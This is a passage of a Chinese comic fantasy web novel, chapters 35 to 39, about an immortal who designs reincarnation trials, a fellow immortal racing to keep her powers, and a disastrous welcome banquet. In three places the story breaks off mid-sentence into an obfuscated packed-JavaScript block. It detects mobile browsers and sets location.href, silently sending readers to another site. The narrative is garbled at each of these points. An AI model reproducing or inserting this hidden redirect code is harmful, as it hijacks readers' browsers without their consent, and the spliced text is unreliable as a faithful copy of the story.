“它现在就在伤害我啊——”被叼在嘴里的灼春惊慌叫喊，“小乔！你养了个啥！怎么喜欢吃人呢！” 乔江山慢悠悠地一口一顿吞嘴里的水，不着急回复，更不着急救人。 鸣桐：“呃……是娃娃鱼……” “哈？谁家娃娃鱼那么大！搞笑呢吧！” 不管灼春怎么痛苦叫嚷，乔江山依然维持着最初的咽水节奏。 漫长的时间后，乔江山嘴里终于空了。 她朝那个三米高的娃娃鱼一招手，唤了声“来”，娃娃鱼便张嘴吐脏东西一般把丢了半条命的灼春“呸”了出去，接着迫不及待地回到自己主人身边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950225|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“报复！你这绝对是报复！你就是报复我在轮回镜里给你设置了太多劫难！！” 灼春嫌恶地甩身上黏糊糊的唾液，大声吵闹。 鸣桐连忙拿着细布上去为她揩拭，解释说这是意外，小乔通情达理，不会因这事难为她——谁料乔江山摸摸自家娃娃鱼，坦然承认。 “是我有私心，怎样？” 鸣桐：“……小乔，别说气话，我知道你不是这样的人。” “那只是因为还没遇到这样的事。”乔江山看向灼春，“难道你一点不觉得自己有问题吗？” 灼春气极反笑：“我有什么问题？我兢兢业业为你们司劫，一天天的连个囫囵觉都没有，灵台法力刚蓄一点立马掏空补到轮回镜里，给你们想劫难想得头发都快掉光了——我有什么问题？一个个的狗咬吕洞宾，难不成我就该尸位素餐，你们怎么进去的就让你们怎么出来？” 乔江山也被气笑了：“好一个冠冕堂皇的借口，真叫人自惭形秽！你敢说你没有一点私心，没有一点恶趣味？！” 灼春站直了身子，昂首挺胸，拍拍湿漉漉的心口：“当然！老娘做事，仰无愧于天，俯无愧于地！” 鸣桐帮腔：“是的，我可以证明。灼春虽然喜欢偷懒，偶尔还要嘴上犯贱，还容易得意忘形干出不理智的事……但对待工作确实认真，不会乱来的。” 灼春：“……姐，前面那半句‘虽然’可以不说。” 乔江山抿着唇冷哼一声。 灼春无奈：“你瞅瞅，我说了你还不信！——唉，我就觉得吧，咱们的仙者活太久了，远离人间疾苦，过得太悬浮，太缺少同理心，心灵太脆弱！不就进轮回镜体验一下民间疾苦，一个个要死要活的，太不像话……” 鸣桐颔首，没有反对。 乔江山惊诧地来回审视二人，无语凝噎。 她沉默着沉默着，吐出一句“确实”来。 临走时，乔江山看向鸣桐，说道：“《镜中纪事》是你执笔的对吧？看得出，你对怎样写故事有自己的追求。真遗憾，我想那就是你的极限了，你将再也写不出比这更好的故事。因为你压根不懂感情，冷漠的旁观者。” 鸣桐张口，欲言又止。 送走一人一宠，灼春继续自己的大纲任务。写好后，她把它交给有些走神的鸣桐。 “……读得慢一点，有时候天道会有延迟——鸣桐？鸣桐？” 鸣桐回神，确认了一遍稿子，然而才读了一个字，她就忽然停住了。 灼春紧张地在她上下左右张望，疑问难道第一个字就有问题？天道的要求突然变严格了？没看见电光啊？ “灼春，我似乎……到寂心期了……” 鸣桐冷不丁说道。 36. 至尊体验 “不是这么巧吧！？” 震惊归震惊，轻重缓急灼春分得清。 灼春说了一路“不要紧”“不要急”，不知安慰鸣桐还是安慰自己，总之领人回了家，二话不说就把镜子里的凤脊踢出来，根本不管她进展到什么地步，这样出来会有什么后果。 鸣桐在边上担忧：“这样不好吧……” 她话音未落，魂魄匆忙归位尚且不稳、晕晕乎乎脚步虚浮的凤脊就冲过来要找灼春麻烦，灼春抬手指天，丝毫不慌。 灼春：“下班了。” ——硬生生控住凤脊三秒钟。 凤脊沉默着瞅了眼天色，愤愤剜了灼春一眼，捻诀施法，化作一缕青烟消失。 灼春才不管她，当即在轮回镜上比比划划重置数据。她不在意，鸣桐却不能不在意。 她蹩眉忧愁问：“这么突然真的好吗？凤脊自身不会有影响吗？掌舵不会批评你工作不负责吗？” “嗐！那有啥！凤脊本来就不在意法力不法力的，就找个借口逃……咳，过了寂心期就完！至于老大，她本来就让我别太上心，马马虎虎过得去就成，我这不是听她话，把凤脊随随便便放了么！” 灼春捣鼓了一会儿，举起一个灵盘给鸣桐看。 灼春语速极快：“这个模板简单，很快就能结束了，待会用这个你没意见吧？” “我想换一个……” “好那我们这就开始——你说换一个？”灼春一愣，“为、为什么？你不是在意法力多少的人吧？” 鸣桐面露忧色：“《镜中纪事二》卖得不好的事我知道。我猜可能是自己没有相关体验，所以写得不好，不能打动人……便想着趁这次渡劫，把各种事都经历一遍，心里有底……” 灼春懊恼地揪头发：“可是……唉……但我……” 鸣桐看着她，耐心地等对方说完剩下的话。然而被她这样看着，灼春想说什么托辞都不好意思。 唔……可是那样要费好多时间的…… ——罢了！ 灼春说：“丑话说在前，所有劫难都过一遍的难度是你难以想象的，法力这块肯定管不了了，我能做到的就是保证你不会身陨道消——你确定要继续？” 鸣桐坚定地点点头：“最后法力全失都没关系，只要活着，我可以等下次寂心期。” 看她那么坚决，灼春便不再多说，挑了一个自认为最复杂的灵盘，跟她大致讲了一下会有哪些劫难，让她有个心理准备——渡劫的时候没有现在的记忆，但是渡劫结束记忆恢复时能舒服点。 不料，鸣桐听了灼春的设置并不大满意，觉得难度不够，强烈要求增加关卡。最后在两人友好协商下，灼春新建一个灵盘，将其他所有灵盘的内容通通导入，并且根据鸣桐意见额外增加了几道劫难。 最后，鸣桐斗志昂扬地进入轮回镜，镜外的灼春汗颜不已。 这种司劫她还是第一次…… 鸣桐应该能活着回来吧？ 某日，情理所里，正在分工录入文书的麻惠良和程冰津忽地被天空中的轰隆惊雷吓到。程冰津去窗口查看，就看见满天的万丈霞光。 “是有哪个修仙者在闯天道试炼吗？” 麻惠良走过来问。 程冰津回头看她，笑了：“小麻姐，你又多了一次考试机会啦？” 麻惠良：？ 程冰津指着天上的霞光，开心解释：“那是新仙者诞生的标志啊！瞧！那么多光点往霞光中心飞去呢！都是仙者得到消息赶去祝贺哩！” 麻惠良趴在窗边努力眯眼远眺，发现果然有好多白色的光痕流星一般往霞光中心汇聚，形成一道落地光柱遥遥立在远方。 麻惠良第一次见这场景，愕然喃喃：“还真是啊……” 程冰津倚在窗框上，托着下巴笑言：“新仙者诞生，按照相睦会惯例肯定要安排一场资具考，就算新生仙者不愿意报考也要召开的。所以小麻姐，你这两天得抓紧时间复习巩固了啊！” 麻惠良嘀咕“什么复习更像预习”，程冰津没听清问她说了什么，她立马摇头表示没什么。 程冰津激动道：“等你通过了，我们一起为工作发光发热，照亮这个世界！一起为百姓服务！” “呃……我倒也没那么远大的志向……”麻惠良不小心碰上对方热烈的眼神，连忙改口，“我会尽力……只是我没那么厉害，可能考不上……” “你要有信心啊小麻姐！！”程冰津拢住麻惠良的手，鼓舞她，“灼春姐可是仙者！而你是被仙者选中的仙选之人！你就算不相信自己，也要相信仙者的眼光啊！你一定可以的！” “啊……我尽量……” 程冰津眺望远方，神情向往：“我从小就崇拜相睦会的执司，觉得他们特别伟大特别英勇！他们能逆流而上拯救天下苍生，多么具有奉献精神！亲眼目睹他们如何救人于水火后，我就立志要成为其中一员，为天地苍生奉献自己的一份力量！虽然我现在还不是仙者，能力有限——但是！将有限的力量投入到无限的需求中，这也是一种了不起的奉献啊！……” 对后辈滔滔不绝、热情似火的演讲，麻惠良瑟瑟发抖，即将到达承受能力的极限。 “——所以，我们一起成为仙者吧！” 程冰津向她伸出了约定的小手指。迷迷糊糊间，麻惠良不由自主地被引导着勾上手指——“不是……我什么时候说过要成为仙者了？” 麻惠良立马顿住，然而程冰津不由分说地直接勾了上去。 “没关系！理想什么时候开始都不晚！” 她没这种理想也不打算开始！ “我……” 麻惠良正要开口婉拒，所里突然闯进了一个人，急急忙忙问灼春在哪。 麻惠良正疑惑这人是谁，不知该怎么回话，程冰津落落大方地走过去回答。 “吉吾姐，灼春姐应该在家司劫吧！要不您去她家看看？”程冰津又问她，“不是新仙者诞生，所有仙者都要去祝贺吗？您不用去吗？” “……出了点意外，我不去了。”吉吾焦躁转身，“我看见凤脊已经出来了，还以为……算了，我去她家看看吧。” 吉吾走后，麻惠良悄悄问程冰津这人是谁，她怎么认识的。 程冰津：“那是金钱殿的司库吉吾，我领月钱的时候见过一次，但是没机会对话。” 麻惠良惊讶：“那你刚刚——你……真厉害啊……” 吉吾现在很慌。 她突然发现一件事—— 她的寂心后期快过了。 是的，不是寂心期，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950226|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是寂心后期，快过了。 今日收到天道指引，本打算去为新仙者祝贺顺便看看有没有商业合作的发展空间——结果发现自己用不了法术飞不起来。她一回忆才想起来—— 对了，好多年前天道似乎示意过，她的寂心期到了，只不过那时她忙着挣钱没顾上，后来就给忙忘了…… 真不能怪她！ 她嫌用法术太累，平常都脚踏实地的——她的飞行算盘能吸收自然环境中残留的法力来短暂滑行，其他情况最多蹭一下别人的法术——没有用法术的机会就发现不了法术失灵的事，所以寂心期转到寂心后期法力全失了也没察觉…… 吉吾掐指一算—— 天哪！她收到天道提醒已是十一年前的事了！ 一年寂心期十年寂心后期，只剩小半月她就要彻底法力全失，千百年的修为毁于一旦，此后就要沦为不如普通人的凡人一个！ 尽管她不在乎能不能用法力…… 但是！ 从仙者身份堕落，漫长的生命就被褫夺了，是要经历生老病死的啊！ 死！ 她还没活够呢！手里一箩筐的生意还没做完呢？ 越是短暂，越能感觉到生命的短暂与流逝。 吉吾立刻想找灼春帮自己渡劫。 乔江山是预约名单里的最后一位，凤脊是后来加上去的。她偶遇过林鸿强拉着凤脊去祝贺新仙者的画面，也就是说灼春现在正值闲暇，要抓紧时间在增添新客之前解决问题！ 然而吉吾跑了好几处终于在灼春家找到她时，却得知鸣桐抢先她进入了轮回镜。 “……”吉吾说，“镜中已过了多久？” 灼春：“唔……二十年零……” “放她出来，换我进去。”吉吾果断。 “呸！我跟鸣桐商量好的模板连百分之五都没到呢！让她出来？想什么呢！且等着吧！”灼春反驳得更加果断。 “百分之五！？二十年了才百分之五！？你打算让她活多久啊！”吉吾高声质问，“二十年差不多了，你先换我进去，回头你再替鸣桐安排嘛！我赶时间！” “着什么急啊！你不还有十多天么？”灼春不以为意道，“你不懂，这是我跟鸣桐说好的剧本，一点剧情不能带跳的，否则逻辑合不上！而且剧情已经开始，往后再进去就得重新编，近期内我可想不出这么绝的点子了。” 吉吾着急：“近期想不出就慢慢来，鸣桐出来后起码有十年够你打磨劫数呢！我连十天都悬，救救孩子吧！” 灼春油盐不进：“不行，难得有人愿意配合我的豪华至尊套餐，我怎能就此撒手？此一时彼一时，万一之后鸣桐不愿意配合了呢？” “我……” 吉吾本来想说自己也可以完全配合，但话到嘴边，她理智地闭嘴了。 会里那些被灼春司过劫的仙者的状况，她不是没有耳闻。 她赚钱能力不错，但是身心都很娇弱，受不了沉重的打击，哪怕一点点蹭伤都能要命，灼春的这个劫…… 嗯，她有自知之明。 吉吾被这一闹冷静下来，眼珠一转，叹息：“唉……天妒英才，难道我一代金算盘，注定陨落么……我这辈子最可惜的就是没能成功出售一本完美配合供需获得最大盈利的书……” 37. 公报私仇 “……”灼春扶脑门叹气，无奈伸手在空中画法阵，“我问问老大其他几面镜子修好了没……” 吉吾乖巧坐等。 灼春沟通结束，神情意外凝重。 好消息是，林鸿说镜子前段时间修好了；坏消息是，为了不重复轮回镜被损悲剧，林鸿把它放到了藏宝殿仓库。 灼春：“……我觉得你只能祈祷鸣桐快点过关了。” 吉吾：“有其他的轮回镜，我们何苦等这个？” 说着，吉吾就要拉上灼春去藏宝殿取轮回镜。 灼春不情愿地拖住自己的身子：“凤脊肯定不会答应我们的啦！她又懒又小心眼，我还刚跟她闹不愉快……我才不腆着脸受那份没用的窝囊气呢！” 吉吾：“喂！帮仙者司劫是你的工作！你不考虑我，难道还不考虑自己吗？在你任职期间，如果有一个仙者因为来不及渡劫开除仙籍……” “……” 灼春在轮回镜上点了两下，不情不愿地起身随她出去。只不过在路上还是忍不住给自己打补丁，譬如她只是陪她去，不会低三下四求人的，又譬如凤脊不同意她也没办法，她已经努力过了尽到了责任云云。 吉吾：“你忙糊涂了？新仙者诞生，其余仙者无故不得缺席，连远在边城的战神她们都去了，凤脊能不去？” 灼春恍然：“对哦！现在藏宝殿应该只有阿勉她们了！” 灼春一瞬间变了态度，积极催促着他们赶紧往藏宝殿去！ 开玩笑！等凤脊回来拖后提吗！当然要趁着人不在，找临时赋权又好说话的执司办事啦！ 这正合吉吾心意。 两人你追我赶地冲到藏宝殿，临到门口，吉吾却突然停下。 灼春不解：“干嘛？还不抓紧时间进去！你踩着胶水了？” 吉吾捏着下巴想了想，问灼春借了点法力。灼春虽不解其意，但还是依言传了一些法力给她。 得到法力后，吉吾立刻凭空画了一串咒文打在藏宝殿上空。 灼春好奇：“你这是什么咒文？干什么用的？怎么从来没见过？” “你不思进取当然不知道近些年研究出来的新法术。” 灼春：！？ 她就是好奇问一下，结果被人鄙视侮辱了？？ 灼春猛地想起吉吾和凤脊差不多，当初也是以笔试断层第一考进会里的。 “……”灼春脸色古怪，“哟哟哟～我哪儿有您厉害啊，啥都知道啥都懂，厉害得法力全失了都！噗、呲~” 呵，学霸了不起啊！学霸就可以践踏别人的自尊心啊！不就是学习么谁不会啊！她就是懒得学，没把心思放在学习上，如果她用心学了，分分钟考第一！ 吉吾没搭理灼春阴阳怪气的话，拉着人进殿，找到阿勉问轮回镜的事。 阿勉虽然工作到麻木冷漠，但是知轻重且效率高。一听说事关仙者仙籍，她立马搁下手里的活，唰唰唰填写领取轮回镜的相关材料。 灼春内心庆幸，看样子她很快就能—— 忽地她瞥见阿勉背后一个巴掌大的法阵一闪而过，消失得太快她甚至看不清法阵细节判断不出是什么阵。 她扯扯吉吾，问：“你看清刚才阿勉身后闪现的法阵了吗？是什么？” 吉吾淡定：“没看到啊，你眼花了吧。” 灼春：“……” 她眨眨眼，却再没看到之前的法阵。 真是她看岔了？——该不会是她劳累过度产生幻视了吧！？ 灼春拍拍自己的脸，打起十二分精神死盯着阿勉周围。 “呲、呲——嘭！” 阿勉身后再次闪现巴掌大的法阵，影影绰绰，很快又消失，但是维持的时间足以让旁人看清花纹。 灼春疯狂拍打吉吾，快出重影，指着法阵消失的地方小声嚷嚷：“看到了吗看到了吗！？我没有幻觉是真的！我看清了，那是传音阵啊！你快看看那是谁发起的！” 同一个法阵不同人使用，显现的纹样会有细微的差别，灼春对这个没吉吾了解，所以才如此询问。 但是吉吾没有回答，沉着脸，拳头虚握抵在唇上，喃喃“身为仙者怎么这么弱”“连这个程度的传音阵都挡不住”云云。 灼春听不清她含糊不清的话，于是打算和阿勉说一声有人找她，至于为什么传音阵不稳定…… 也许是对方法力不济？ 结果她刚要开口就被吉吾偷袭死死捂住了嘴。 灼春：？！ 吉吾：“你什么都没看见。” 灼春：可她看见了？ 吉吾：“有什么事等拿到轮回镜后再说，不要节外生枝。” 灼春翻白眼。 平常看热闹不嫌事大，轮到自己有事了，就格外小心谨慎呗？ ——可是又不是她那么需要轮回镜！她需要那么在乎么？ 灼春想逗逗吉吾，于是点点头故作答应，哄吉吾放心松手——嗯？不松手吗？ 吉吾斜眼看她：“嗯，不松手。” 灼春：？！要了亲命了快过寂心后期的人居然能听见人的心声？！莫非这是塞翁失马的福气？ 阿勉收拾好资料起身招呼她们到仓库取轮回镜，吉吾捂着灼春嘴将她擒拿着拖向仓库。 阿勉诧异：“这是怎么了？” 吉吾呵呵笑：“别在意别在意～偶仙站久了腿麻，所以我帮她走！” 阿勉点点头，疑惑地继续带路。 “原来仙者也会和普通人一样腿麻吗……” 灼春：普通凡人也不会那么简单腿麻！！ 灼春被拖动着的同时努力反抗，然而吉吾的力量超乎她想象，愣是挣不开。 难道这也是塞翁失马的福气之二？！ 如果吉吾知道她的想法大概会无语——难道灼春她忘了自己是全相睦会最弱体的“荣誉”了吗？随便拉个执司都能碾压她嘞！所以钳制她还需要什么福气哦？ 到了仓库门口，吉吾二人止步，等待阿勉进去把轮回镜拉出来。她们在门口没等多久，四面轮回镜就被阿勉用推车拉到了门口处。 “这四面轮回镜你们看看要拿哪——” 阿勉话说一半，三人中间炸开了一团烟花，错眼的工夫，上气不接下气的凤脊风尘仆仆地出现了。 阿勉惊疑：“司务？你不是去祝贺新仙者了吗？怎么突然回来了？” 凤脊喘着粗气扫了一眼属下，立刻看向被吉吾束缚住的灼春，发狠道：“你……你、你以为……趁……趁我不在……拿……镜 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凤脊瞥了一眼她，不慌不忙道：“可是我分明瞧见适才你捂着她的嘴还限制了她的自由，本司务很难不怀疑是你挟持偶仙并威胁她作出调用轮回镜的申请！——除非你让她对天道发誓，是她自愿的。” 凤脊这话让吉吾心生警惕。 凤脊明显是冲着灼春去的——对天道发誓？天道严格，若发了誓，别人哪怕只是强词夺理扭曲誓言，发誓者便会受到天道惩罚。只是取面镜子，用得着玩那么大吗？ 吉吾只听闻被灼春司过劫的仙者都对她恨之入骨，不料这个恨意这么实在…… 她忍不住暗自叹息，这回她算是被灼春坑到了。 吉吾与灼春耳语，让她承认自愿，糊弄过去就好。 灼春勉强地正视凤脊，道—— “爱给不给，姐不要了。” 吉吾：？！ 凤脊：“……你这什么意思？” 吉吾举手捏住灼春的双颊，强笑道：“你说什么逞强的假话呢？不、要、开、玩、笑、好吗？” 灼春用力掰开吉吾的手指，说：“喂，你看那家伙！明显想利用职权一点一点摧残我以报私仇，我干嘛给她这个折磨我的机会啊我又不是非得求着她！——所有燎原之火都该在最初的星火之态时被掐灭！掐灭！” 天晓得她现在随对方意发誓承认，之后又会被多少无理要求被迫自证。 自证陷阱不可入，那可是个死循环！ “你……” 就在吉吾还在措辞说服灼春的时候，凤脊毫不犹豫地锁上了仓库门，还额外上了好几把锁和数个防御性法阵。 “既然你们不需要，那我就收回轮回镜了。” 钥匙圈在凤脊食指上打着转，她看了看空无一物的手腕，惊讶道：“哎哟都到下班时间了！——你们有什么申请明日点卯后再来吧，回见。” “那没我事了我就先走了，有事没事都别找我了嗷。” 灼春也懒洋洋地告辞，一时间，就只剩吉吾留在原地。 鹬蚌相争渔翁得利，啊不是……神仙打架，小鬼遭殃。 吉吾：……得想个招。 38.接风洗尘 灼春回家后，为了保证自己能安心帮鸣桐司劫，于是久违地翻开置物架上蒙尘已久的常用法术大全，找到隔绝外界干扰的几个结界法阵使用说明，照葫芦画瓢用在自己家。 画着画着，她觉得纹样有些眼熟……在哪儿见过吗？ 算了不重要！ 灼春迅速作法，画了一个还担心强度不够，紧接着又叠加了四个——不是她不想继续叠，而且能力有限，法力跟不上了。 合上门，家门外的声音骤然消失，鸟鸣、风声、跫音……仿佛都被抛去九霄云外。 灼春很是欣慰。 效果不错，这样一来，所有外界杂音都无法干扰她了，而且这叠了好几重的法阵足以挡住大部分人的来访。 ——于是，灼春也错过了战神她们班师回朝的消息。 林鸿通知了会中所有执司前去迎接以示敬重，但是当天灼春居然没到！ 本来灼春现在和同僚们的关系就很紧张，这个情况下还不出现，便给了反感她的同事们嘴碎的机会。 仙者们你一言我一语地批判着，让本就对灼春不听话一事感到不悦的掌舵越发不满。 当晚的接风洗尘宴之前，林鸿借了新仙者创造的传讯法术，强硬下令灼春必须出现。 信送到时，灼春正看着轮回镜发展，在手里的历劫事项清单上打圈——边勾边联想具体事件时，她还是忍不住一阵心慌。 那么老些东西，遭大罪了…… 她正专心校对劫数呢，忽地从外头射来一只尖喙飞鹤直扎她眉心！事情发生得太突然她根本来不及动作，脑子里各种各样的想法扎堆出现，声音最响的就是“完了完了要被鸟啄穿脑子了”“区区一只鸟怎么做到穿透好几层法阵的？此事必有蹊跷！”…… 比鸟的出现更意外的，那只鸟停在了离她脑门零点零一寸的半空。 “……？” 在一瞬的宁静后，飞鹤蓦地光影化，在灼春眼前凝聚成一个人形幻象。 ——“老大？” 灼春惊疑出声。 人形幻象凝实后，展现出林鸿神情严厉的模样。 “林鸿”：“今夜酉时三刻于多味楼设宴，为从边城回来的执司们接风洗尘，若无不可抗力因素，所有执司都需前往，务必准时到场。” “喔……这什么法术怎么从没见过？” 灼春惊讶地凑过去扒拉“林鸿”，发现不是气体，只能看，摸不着，看来是一条影像讯息。 不过用影像传讯不稀奇，厉害的是这个法术能将影像穿透隔绝屏障送到收信人面前。要知道，一直以来，传讯传音的法术都很受限制，不光是受施术者法力影响，就连外界一点干扰，譬如风速急了点，都有可能导致讯息丢失。 哦……这么看来，这个法术应该很耗力气吧？ “林鸿”：“重复，务、必、准时到场。” 知道这只是个影像后，灼春没了顾忌，懒散地半躺在椅子上，琢磨着去还是不去，不去的话又要找什么借口。 撇开别的不说，她自己还是愿意参加这种会里组织的宴会的——就为了免费的一餐也得去！ 可是这回……是给龙缨她们接风洗尘，基本上是斗武殿的执司，会上基本所有仙者都到…… 她这段时间跟同僚们不大合得来，平常没有来往都被暗中使绊子，要是见了面，她该不会被打死吧？一对一都不一定能全身而退，多对一，她就等着被挫骨扬灰吧！ “唉……还是找个借口不去了吧……说自己给鸣桐渡劫正在关键时期腾不出手？嗯，反正老大也不清楚具体情况，糊弄糊弄蒙得过去！” “我听见了。”“林鸿”开口。 灼春：！ 她吓得从椅子上翻倒摔下，慌里慌张爬起来，忙问：“老大？你本人？你都听见了？” “林鸿”：“是。不完全是。不光听见了还看见了。” 灼春：“……你不是幻象？你有意识能和我对话？” “林鸿”点点头，大致解释了一下。 简单来说，就是之前新诞生的仙者发明了一种百分百传讯的“纸鹤术”，除了文字讯息，还能传递带有寄信人意识的虚像，做到与收信人简单沟通，另外最具突破性的就是能穿透各种屏蔽法术等外界因素送到消息。而掌舵林鸿在用传统方式给灼春发送数条信息未果后，便借用了新仙者的“纸鹤术”传信。 然后灼春就被逮到了。 “……” 灼春立刻调整坐姿，正襟危坐地解释道：“那啥老大……不是我不想去——虽然我的确不太想去——但是我是真的没法去……看嘛！轮回镜里——” “林鸿”：“轮回镜的设置，我比你熟。渡劫暂停一顿饭的时间并不妨事。” 灼春：“……那个，我最近吃得素，一下子大鱼大肉怕肠胃不好……” “林鸿”：“你可以只看不吃。” “我……我法力不济，只能走路，赶过去时间会来不及？” “现在动身，时间绰绰有余。” …… …… 不管灼春怎么苦思冥想找借口，林鸿的幻象都不动声色地给她否了。 她都怀疑这是老大本人而不是所谓部分意识！哪有逻辑这么缜密思维如此无懈可击的部分意识！难道林鸿本人已经智周万物无所不知了吗！？ “……好多仙者对我有敌意，我怕去了挨揍。” 不得已，灼春只好吐出了内心的真实想法。 唉……司劫不易，灼春叹气。 她惹不起还躲不起吗？ 林鸿也真是的，光顾着面子，也不管她个人死活！说真的，她一偶仙，去不去接风宴有什么关系？她和斗武殿完全就是两个部门，交集都非常非常少，何苦凑这个热闹！ 要表达重视不如多放几天假、多给几笔奖金！那多实在！整这些虚头巴脑的有什么意思！ 唉真是……上位者的形式感…… 不出意外，“林鸿”再次驳回了灼春的不愿意。 “林鸿”：“接风宴上百捷也在，不会有人不长眼地动干戈。” “——啊对哦？”灼春一怔。 灼春最终还是去赴宴了。 再怎么说那也是相睦会最大的头，工作做得累死，回头批假发钱的时候一句不同意就让你败于垂成。 好吧……正如幻象所说，宴会上有百捷在，别人总不至于当着百捷的面发飙吧？ 灼春暗下决心，宴会开始就紧跟着百捷，时刻保持低调，绝不给别人殴打自己的机会！ 多味楼外车水马龙，大门门槛就没空过。 灼春贴着墙边溜进去，前往被相睦会包场的顶楼，签到后便寻了个角落待着，环视四周寻找百捷的身影。 尽管自己谨言慎行扮透明，但她低估了自己的存在感，才躲了七八息，便有仙者遥遥地指着她大声招呼。 “哟这不是灼春吗？搁那旮沓作甚呢！” “……” 灼春：大哥我谢谢您！ 灼春本想当做没听见，但是该仙者的大嗓门响遍全场，在场所有人闻声不约而同地冲她的方向猛一回头，吓她一哆嗦。 如此众目睽睽，想不注意也难。 “哎！春！来我们这桌！” 最远那一桌里忽地举起一只满是肌肉疙瘩的胳膊，灼春踮起脚一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951843|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看，正是她找寻久矣的好姐妹百捷！ 她喜出望外，不等看清周围人就立刻提着裙摆噔噔噔地跑过去。不知是太急切还是什么的，半路还绊了一跤，还好地上铺了绒毯，摔了只是闷着疼，过一会儿就好了。 灼春跑到百捷身边，两人来了个热情的拥抱，待要坐下，灼春才注意到桌上都有谁，身子一僵。 战神、老大、吉吾…… 灼春强颜欢笑：“好巧，各、各位好啊……” 吉吾微笑：“就等你呢——瞧，座儿都给你留好了。” 灼春一看这一桌唯一的一个空座，嗯……看出来是吉吾排的了——这娘儿们够狠，让她挨着战神坐。 灼春本不欲进这龙潭虎穴，但是“好姐妹”百捷没有一点眼力见，硬是拉着她坐下——坐都坐了，再起身换桌就不礼貌了。 于是灼春只好硬着头皮埋头吃饭，当一个无情的吃席机器。 值得庆幸的是，今天是林鸿专为战神她们设的接风宴，所以主角是她们，灼春没有被刁难的机会。 如此看来，只要埋头扒饭熬过这顿饭就行了—— 但她忘了，这桌坐的，不是话事人就是宴会主角，这样的配置注定不可能让她安心干饭。 没过多久，就有人陆陆续续过来寒暄，大多时候没她事，大家伙好似说好了似的，看都不看她一眼，全桌人起来举杯，来敬祝的同僚就是略过她不碰杯。 灼春：“……” 尴尬肯定有，但是恶意明晃晃地摆上台面还算可以接受。比起这样直白的不待见，她更害怕龙缨。 ——她注意到龙缨带着杀意攥紧的拳头不止一次朝自己摆来，多亏百捷在自己身边化解了攻击。 百捷，好姐妹！ 不过也有意外之喜。 “掌舵。——战神，先锋，你们这段时日辛苦了，多亏了你们在边城保境息民，我们在相睦会才能踏实做事，我们理事堂的同僚联合准备了一套驱寒祛邪、提神醒脑的香囊，请诸位笑纳。” 偶有仙者过来赠礼，灼春也跟着沾光收到礼物。 敬酒的时候无视一个人还能推托说太匆忙没注意，但是送实体东西还跳过一个人，那就不好找借口了。 什么香囊、食盒、摆件……灼春乐呵呵地照单全收。 只是不知为何，周遭隐约多了几只蚊虫。倒是不叮人，就是在耳边嗡嗡叫，听得见捉不着，令人恼火。但也没有办法，灼春权当自己听不见，将注意力投入到多味楼的食物中去。 “呀！春，你这怎么有蚊子！等着我给你打死它！” 猝不及防百捷猛地一巴掌甩在灼春脸上，后者眼冒金星，捂着瞬间肿胀的半张脸，眼泪汪汪地让她住手，然而百捷眼里容不得沙子，说着自己会小心的，就撸起袖子给她灭蚊。 咻咻咻几掌，虽然没再打到灼春，但是凌厉的掌风刀割一般刮在她脸上脖颈上胳膊上，留下又红又肿又疼的长痕。 灼春欲哭无泪，这还不如被蚊子烦呢！呜呜呜疼死了！问题是人家还是好心，不能多说什么…… 没有危险的时候，百捷就是最大的危险啊…… 伤痕累累后，百捷畅快地坐下，拍拍灼春的肩安抚：“放心，蚊子都被打死了。” 灼春心说自己也快被打死了，面上却只能感谢对方的好意。 在她以为能告一段落好好吃饭时，屁股一歪，座椅腿居然断了，她当即顺着坐倒在地，不小心还蹭到了椅子腿的断面被扎一屁股。 “啊啊啊啊啊啊！！” 灼春尖叫。 今日一定不宜出门！黄历一定是大凶！ 她不能在外待了要赶紧走！ 39.意外连连 离开并没有那么容易，最中坚的阻碍就是多味楼的厨神扶疏。 听说来客在菜都没上齐的情况下就要走，扶疏撂下厨房就匆匆跑来问询。但是对于灼春说的不宜出门，扶疏只当这是借口，心中则下了定论，问是不是饭菜不好吃所以吃不下去要走。 灼春捂着受伤的屁股连忙否认：“不不不，饭菜很香！是我的问题！我还有工作要做，不得不回去……” 扶疏愁眉不展：“我明白了，一定是饭菜难吃……如果真的好吃，你怎么还会有杂念，半路离开……” 灼春着急：“没有没有！真是我自己的原因！您的厨艺完全没有问题！” 扶疏震惊地看着自己的双手：“原来，是我的厨艺退步了吗……我懈怠了，懈怠了啊！” “不是！我坐下来吃，我不走了成吗？” 扶疏神情受伤：“你果然没什么要紧事，本可以不走的……肯定是食物太难吃你才想离开，现在被我说穿了为了我的颜面才留下迁就我……” ……不儿，那她到底留还是不留？ 灼春一边因为对方听不懂人话而想打人，一边又因为听见不远处小扶疏拍案而起的声音而心悸害怕。 百捷！！！ 灼春将求助的目光投向在一边看热闹的百捷，后者接收到了目光，回以“交给我”的手势，一点头，出声。 